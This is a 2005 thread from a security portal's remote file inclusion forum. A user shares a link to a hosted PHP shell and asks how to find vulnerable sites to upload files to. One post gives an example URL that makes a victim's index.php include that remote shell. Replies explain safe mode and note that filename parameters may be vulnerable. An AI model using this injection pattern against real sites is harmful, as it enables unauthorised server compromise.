Waraxe IT Security Portal  
  Login or Register
::  Home  ::  Search  ::  Your Account  ::  Forums  ::   Waraxe Advisories  ::  Tools  ::
November 29, 2022
Menu
 Home
 Logout
 Discussions
 Forums
 Members List
 IRC chat
 Tools
 Base64 coder
 MD5 hash
 CRC32 checksum
 ROT13 coder
 SHA-1 hash
 URL-decoder
 Sql Char Encoder
 Affiliates
 y3dips ITsec
 Md5 Cracker
 User Manuals
 AlbumNow
 Content
 Content
 Sections
 FAQ
 Top
 Info
 Feedback
 Recommend Us
 Search
 Journal
 Your Account



User Info
Welcome, Anonymous
Nickname
Password
(Register)

Membership:
Latest: MichaelSnaRe
New Today: 0
New Yesterday: 0
Overall: 9145

People Online:
Visitors: 201
Members: 0
Total: 201
PacketStorm News
Currently there is a problem with headlines from this site
Log in Register Forum FAQ Memberlist Search
IT Security and Insecurity Portal

www.waraxe.us Forum Index -> Remote file inclusion -> Help: PHP Injection - Finding Vuln Pages!
Post new topic  Reply to topic View previous topic :: View next topic 
Help: PHP Injection - Finding Vuln Pages!
PostPosted: Sun Sep 11, 2005 1:26 pm Reply with quote
Pouya
Regular user
Regular user
 
Joined: Sep 11, 2005
Posts: 6




Hi,
i'm new here Smile

I like that forum very.

I have a question:

i have a cmd for php injection:

http://usuarios.lycos.es/adm/lollll.txt.

It's a php command/safemode exploit!

Do you guys know, how to find pages, which are vuln and which can be exploited with that cmd?

Thx very much!!!!!
View user's profile Send private message
PostPosted: Mon Sep 12, 2005 7:06 pm Reply with quote
Pouya
Regular user
Regular user
 
Joined: Sep 11, 2005
Posts: 6




can anyone help me plz?!?

THX!
View user's profile Send private message
PostPosted: Tue Sep 13, 2005 11:40 am Reply with quote
Chb
Valuable expert
Valuable expert
 
Joined: Jul 23, 2005
Posts: 206
Location: Germany




I'd say the exploit you have posted is an exploit for SAFEMODE-Restriction. The SAFEMODE-Restriction is a parameter of PHP (you can set it in the php.ini) which restricts access for files which have not the same owner like the running script. That means that you can't access files like /etc/passwd (see also open_basedir-Restriction).

This is no bug which makes a shell for you or something similar... You need the opportunity to upload PHP-Scripts or something like this. Your exploit seems to be a Shell which bypasses the SAFEMODE.

Greetz,
Chb

_________________
www.der-chb.de
View user's profile Send private message Visit poster's website ICQ Number
PostPosted: Tue Sep 13, 2005 2:15 pm Reply with quote
Pouya
Regular user
Regular user
 
Joined: Sep 11, 2005
Posts: 6




uhm, i think you dont know what to do with it.

e.g. www.victim.org/index.php?get=http://usuarios.lycos.es/adm/lollll.txt.

With this shell you can upload files on the server.

But HOW can i find pages which has the php injection bug, so i can use that exploit to upload files?
View user's profile Send private message
PostPosted: Thu Sep 15, 2005 9:27 am Reply with quote
Chb
Valuable expert
Valuable expert
 
Joined: Jul 23, 2005
Posts: 206
Location: Germany




Pouya wrote:
uhm, i think you dont know what to do with it.

e.g. www.victim.org/index.php?get=http://usuarios.lycos.es/adm/lollll.txt.

Ah, remote includebug Wink Sorry, I thought of local includebug.

Quote:
But HOW can i find pages which has the php injection bug, so i can use that exploit to upload files?

Hmhm... You can't describe an universal way. But sites which parameters contains full filenames may be vulnerable. E.g. "index.php?site=news.php" might be vulnerable.

_________________
www.der-chb.de
View user's profile Send private message Visit poster's website ICQ Number
PostPosted: Thu Sep 15, 2005 5:28 pm Reply with quote
Pouya
Regular user
Regular user
 
Joined: Sep 11, 2005
Posts: 6




is there another way to find vuln php pages?? Can anyone gives me tips on google'ing some vuln pages or a tool which scans for vuln pages?
View user's profile Send private message
PostPosted: Fri Sep 16, 2005 1:48 pm Reply with quote
LINUX
Moderator
Moderator
 
Joined: May 24, 2004
Posts: 404
Location: Caiman




Pouya wrote:
is there another way to find vuln php pages?? Can anyone gives me tips on google'ing some vuln pages or a tool which scans for vuln pages?



go to www.securitytracker.com - packetstorm.linuxsecurity.com www.securityfocus.com - www.milw0rm.com, and search
View user's profile Send private message Visit poster's website
Help: PHP Injection - Finding Vuln Pages!
  www.waraxe.us Forum Index -> Remote file inclusion
You cannot post new topics in this forum
You cannot reply to topics in this forum
You cannot edit your posts in this forum
You cannot delete your posts in this forum
You cannot vote in polls in this forum
All times are GMT  
Page 1 of 1  

  
  
 Post new topic  Reply to topic  




Powered by phpBB 2001-2008 phpBB Group






Space Raider game for Android, free download - Space Raider gameplay video - Zone Raider mobile games
All logos and trademarks in this site are property of their respective owner. The comments and posts are property of their posters, all the rest (c) 2004-2020 Janek Vind "waraxe"
Page Generation: 0.141 Seconds